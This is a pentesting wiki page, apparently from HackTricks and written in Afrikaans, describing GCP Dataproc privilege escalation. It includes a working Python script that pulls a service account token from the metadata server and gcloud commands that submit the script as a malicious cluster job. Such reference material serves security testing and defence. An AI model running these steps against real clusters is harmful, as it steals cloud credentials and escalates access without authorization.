# GCP Dataproc Privilegie-eskalasie

{{#include ../../../banners/hacktricks-training.md}}

## Dataproc

{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}

### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`

Ek kon nie 'n reverse shell met hierdie metode kry nie, maar dit is wel moontlik om 'n leak van die SA token vanaf die metadata endpoint te verkry met die metode hieronder beskryf.

#### Stappe om uit te buit

- Plaas die job script op die GCP Bucket

- Dien 'n job in by 'n Dataproc cluster.

- Gebruik die job om toegang tot die metadata server te kry.

- Leak die service account token wat deur die cluster gebruik word.

<details><summary>Python script om SA token vanaf die metadata server te haal</summary>
```python
import requests

metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}

def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None

if __name__ == "__main__":
fetch_metadata_token()
```
</details>

<details><summary>Dien 'n kwaadwillige taak in by Dataproc-kluster</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
